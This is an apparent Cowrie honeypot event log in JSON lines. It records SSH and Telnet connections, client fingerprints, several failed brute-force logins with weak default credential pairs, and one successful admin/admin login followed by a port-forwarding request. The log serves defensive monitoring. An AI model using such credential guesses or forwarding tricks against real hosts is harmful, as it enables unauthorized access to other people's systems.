{"eventid":"cowrie.session.closed","duration":30.30962824821472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:02.753651Z","src_ip":"176.65.149.254","session":"334d5ed32f41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce8321df1b8b","protocol":"telnet","message":"New connection: 128.199.8.54:53056 (159.203.135.109:23) [session: ce8321df1b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:04.742582Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33982,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ce029c7a59d","protocol":"telnet","message":"New connection: 128.199.8.54:33982 (159.203.135.109:23) [session: 9ce029c7a59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:09.344627Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35968,"dst_ip":"159.203.135.109","dst_port":23,"session":"27b9e94d4814","protocol":"telnet","message":"New connection: 128.199.8.54:35968 (159.203.135.109:23) [session: 27b9e94d4814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:09.372590Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51112,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0532ab7f92c","protocol":"telnet","message":"New connection: 128.199.8.54:51112 (159.203.135.109:23) [session: b0532ab7f92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:09.958004Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39584,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea581abb605e","protocol":"ssh","message":"New connection: 2.57.122.208:39584 (159.203.135.109:22) [session: ea581abb605e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:10.137982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:10.274576Z","src_ip":"2.57.122.208","session":"ea581abb605e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:10.280194Z","src_ip":"2.57.122.208","session":"ea581abb605e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:11.116701Z","src_ip":"2.57.122.208","session":"ea581abb605e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:12.333368Z","src_ip":"2.57.122.208","session":"ea581abb605e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44228,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b4ae2787c62","protocol":"telnet","message":"New connection: 128.199.8.54:44228 (159.203.135.109:23) [session: 5b4ae2787c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:13.275171Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46346,"dst_ip":"159.203.135.109","dst_port":23,"session":"43535acf9fba","protocol":"telnet","message":"New connection: 128.199.8.54:46346 (159.203.135.109:23) [session: 43535acf9fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:14.287078Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50698,"dst_ip":"159.203.135.109","dst_port":23,"session":"04b327e00691","protocol":"telnet","message":"New connection: 128.199.8.54:50698 (159.203.135.109:23) [session: 04b327e00691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:19.342284Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59028,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a6805b2dd8f","protocol":"telnet","message":"New connection: 128.199.8.54:59028 (159.203.135.109:23) [session: 5a6805b2dd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:20.297653Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":56756,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1f5c053b103","protocol":"ssh","message":"New connection: 122.168.194.41:56756 (159.203.135.109:22) [session: f1f5c053b103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:20.438460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:20.443667Z","src_ip":"122.168.194.41","session":"f1f5c053b103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:20.727694Z","src_ip":"122.168.194.41","session":"f1f5c053b103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweasd123","message":"login attempt [admin/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:21.892076Z","src_ip":"122.168.194.41","session":"f1f5c053b103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:23.179340Z","src_ip":"122.168.194.41","session":"f1f5c053b103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.00958585739136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:25.302084Z","src_ip":"128.199.8.54","session":"2cebe5b26755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00163197517395,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:25.877429Z","src_ip":"212.55.149.117","session":"9a16cf066dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39003,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a622a4cf907","protocol":"telnet","message":"New connection: 212.55.149.117:39003 (10.17.0.5:23) [session: 8a622a4cf907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:27.245401Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58308,"dst_ip":"10.17.0.5","dst_port":22,"session":"8145ea3c094c","protocol":"ssh","message":"New connection: 87.251.64.176:58308 (10.17.0.5:22) [session: 8145ea3c094c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:30.254728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:30.259612Z","src_ip":"87.251.64.176","session":"8145ea3c094c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:30.363101Z","src_ip":"87.251.64.176","session":"8145ea3c094c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.065163135528564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:30.589502Z","src_ip":"128.199.8.54","session":"2df0174adcd9","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:30.654181Z","src_ip":"87.251.64.176","session":"8145ea3c094c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:30.754425Z","session":"8145ea3c094c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:30.852862Z","src_ip":"87.251.64.176","session":"8145ea3c094c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:30.951927Z","src_ip":"87.251.64.176","session":"8145ea3c094c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":51102,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9e01fdbdbfb","protocol":"ssh","message":"New connection: 118.194.229.94:51102 (159.203.135.109:22) [session: f9e01fdbdbfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:34.460067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:34.465221Z","src_ip":"118.194.229.94","session":"f9e01fdbdbfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:34.638909Z","src_ip":"118.194.229.94","session":"f9e01fdbdbfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.123","message":"login attempt [root/admin.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:35.364325Z","src_ip":"118.194.229.94","session":"f9e01fdbdbfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.46564030647278,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:35.914050Z","src_ip":"128.199.8.54","session":"c82cb60478c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:36.539953Z","src_ip":"118.194.229.94","session":"f9e01fdbdbfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.7606098651886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:39.503078Z","src_ip":"128.199.8.54","session":"ce8321df1b8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94696044921875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:41.319465Z","src_ip":"128.199.8.54","session":"27b9e94d4814","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.778504371643066,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:42.736372Z","src_ip":"128.199.8.54","session":"b0532ab7f92c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4090142250061,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:43.753511Z","src_ip":"128.199.8.54","session":"9ce029c7a59d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.17377471923828,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:47.448832Z","src_ip":"128.199.8.54","session":"5b4ae2787c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.75972890853882,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:48.046670Z","src_ip":"128.199.8.54","session":"43535acf9fba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133562088013,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:48.213349Z","src_ip":"180.235.129.180","session":"1f3867f8e98f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.72376203536987,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:50.288957Z","src_ip":"212.55.149.117","session":"2d3b9ca365ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1824254989624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:53.479940Z","src_ip":"128.199.8.54","session":"5a6805b2dd8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18128037452698,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:53.523448Z","src_ip":"128.199.8.54","session":"04b327e00691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":54020,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff172ae334d4","protocol":"ssh","message":"New connection: 122.168.194.41:54020 (159.203.135.109:22) [session: ff172ae334d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:21.679177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:21.683608Z","src_ip":"122.168.194.41","session":"ff172ae334d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:21.956489Z","src_ip":"122.168.194.41","session":"ff172ae334d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wadmin","password":"wadmin","message":"login attempt [wadmin/wadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:23.080883Z","src_ip":"122.168.194.41","session":"ff172ae334d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:24.355156Z","src_ip":"122.168.194.41","session":"ff172ae334d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.45162510871887,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:27.696927Z","src_ip":"212.55.149.117","session":"8a622a4cf907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45660,"dst_ip":"159.203.135.109","dst_port":23,"session":"f365d06bf640","protocol":"telnet","message":"New connection: 128.199.8.54:45660 (159.203.135.109:23) [session: f365d06bf640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:40.447714Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53774,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f0d569c0e76","protocol":"ssh","message":"New connection: 103.15.226.202:53774 (10.17.0.5:22) [session: 4f0d569c0e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:41.830341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:41.839277Z","src_ip":"103.15.226.202","session":"4f0d569c0e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecds